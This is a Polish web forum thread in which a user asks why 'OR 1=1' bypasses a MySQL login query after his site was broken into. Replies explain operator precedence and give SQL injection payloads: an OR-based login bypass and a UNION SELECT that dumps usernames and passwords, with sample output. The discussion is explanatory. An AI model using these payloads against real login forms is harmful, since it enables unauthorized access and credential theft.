Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [MySQL] MySQL Injection
Forum PHP.pl > Forum > Bazy danych
no-scared
Chciałem przeanalizować w jaki sposob hakerzy dokonuja ataku ale dlaczego

  1. mysql> SELECT * FROM users;
  2. +----+---------+-------------+
  3. | id | nick | password |
  4. +----+---------+-------------+
  5. | 1 | admin | passwordzik |
  6. | 2 | ops | cant-tell |
  7. | 3 | nicczek | haselko |
  8. +----+---------+-------------+
  9. 3 rows IN SET (0.00 sec)
  10.  
  11. mysql> SELECT * FROM users WHERE nick = 'admin' AND password = 'cos' OR 1=1;
  12. +----+---------+-------------+
  13. | id | nick | password |
  14. +----+---------+-------------+
  15. | 1 | admin | passwordzik |
  16. | 2 | ops | cant-tell |
  17. | 3 | nicczek | haselko |
  18. +----+---------+-------------+
  19. 3 rows IN SET (0.00 sec)
  20.  
  21. mysql> SELECT * FROM users WHERE nick = 'admin' AND password = 'cos';
  22. Empty SET (0.00 sec)


dlaczego klauzula or 1=1 dokonuje sie na calym zapytaniu zamiast tylko na czesci "password = 'cos' or 1=1;"?
nospor
z tego samego powodu co:
2*3 + 1
najpierw wykonua sie mnozenie potem dodawanie.
Tak samo w operatorach, najpierw and a potem or
no-scared
to jak zrobic zeby or wykonywalo sie dla tej czesci o ktorej wspomnialem wyzej?
nospor
Najlepiej sie zabezpieczyc i nie pozwolic na atak SqlINjection. Nie rozumiem wogole pytania.

Nawiazujac jednak do pytania:
2*(3+1) i juz dziala jak chcesz, ale na sqlINjection nie poradzisz, wiec jak mowilem nie pozwol na SqlInjection. Byly juz tematy na ten temat na forum. Nawet jeden przypiety
no-scared
ale mi nie chodzi o to zeby zabezpieczyc sie, juz zabezpieczylem skrypt (pominalem filtrowanie w jednej zmiennej ale juz to poprawilem), chcialem tylko wiedziec jak gosc to zrobil.

  1. mysql> SELECT * FROM users WHERE nick = 'admin' AND (password = 'cos' OR 1=1);
  2. +----+-------+-------------+
  3. | id | nick | password |
  4. +----+-------+-------------+
  5. | 1 | admin | passwordzik |
  6. +----+-------+-------------+
  7. 1 row IN SET (0.00 sec)
  8.  
  9. mysql>


tutaj juz dziala dobrze ale wlamywacz nie mogl wstawic nawiasu przed kolumna password...
Cezar708
nie wiem czy dobrze rozumiem, ale wnioskuję, że to 1=1 dopisał już włamywacz i dzięki temu się zalogował.

Pomyśl, że jeśli potrafił wpisać 1=1 to równie dobrze mógł skonstruować takie zapytanie:

  1. SELECT * FROM users WHERE nick = 'admin' AND password = 'cos' OR nick = 'admin';


dzięki temu pobierze krotkę z bazy z administratorem bez podawania jego hasła... atak udany.

Pozdrawiam
vokiel
Jak nie miałeś zabezpieczonego to mógł wpisać np tak:
W input text, na stronie, z której następuje taki atak wpisal w pole login: admin
a w pole hasła: ' and 1=2 union select concat(nick,char(58),password) where login=admin /*
albo to co w pole hasła od razu w pole login
  1. //zatem dostał zapytanie:
  2. SELECT * FROM users WHERE nick = 'admin' AND password = '' AND 1=2 UNION SELECT concat(nick,char(58),password) WHERE login=admin /* ' ;
  3. // zauważ ze od /* reszta staje się komentarzem, i jest ignorowane (czyli jakieś limity, czy inne ograniczenia), co dalo w rezultacie zapytanie
  4. select concat(nick,char(58),password) where login=admin // i odpowiedź:
  5. admin:passwordzik
no-scared
mozliwe ze to bylo tak jak powiedzial cezar, gdyz potem sie spotkalem z tym gosciem na IRC i mi powiedzial ze mialem niezabezpieczony skrypt i mogl sie automatycznie zalogowac uzywajac klauzuli OR
oracle-manual
Po prostu nie pozwól na coś takiego. Bo może to się skończyć jakimś dropem lub deletem.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.